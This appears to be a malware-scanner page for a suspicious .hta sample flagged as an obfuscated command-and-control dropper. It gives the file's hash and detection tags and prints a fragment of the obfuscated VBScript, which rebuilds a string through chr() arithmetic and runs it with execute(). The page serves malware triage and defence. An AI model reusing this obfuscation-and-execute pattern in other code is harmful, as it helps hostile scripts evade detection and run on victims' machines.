Suspicious 80% Download

e89da17129ef3b800c30bdb9030e6a557d623d0937d77066ed60455039f45290.hta

obfuscated C2 dropper logic

Chr of an identifier minus anotherWSH executes a reconstructed variable
SHA-256e89da17129ef3b800c30bdb9030e6a557d623d0937d77066ed60455039f45290
MaleculeO₂(CAs)

Evidence

Chr of an identifier minus another lines 6–7
6:47… OAakPVrRnWCAzjNg(PgtqUCZmXTdmbCEDf - 1)") : ZRBXALIBvDIQEkFoVlnPgVQ = ZRBXALIBvDIQEkFoVlnPgVQ & chr(lQBBzpsTnRlwdgeOEw - wuIMrVvUdAGzWTD) : next : execute(ZRBXALIBvDIQEkFoVlnPgVQ)
7</script></head></html>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.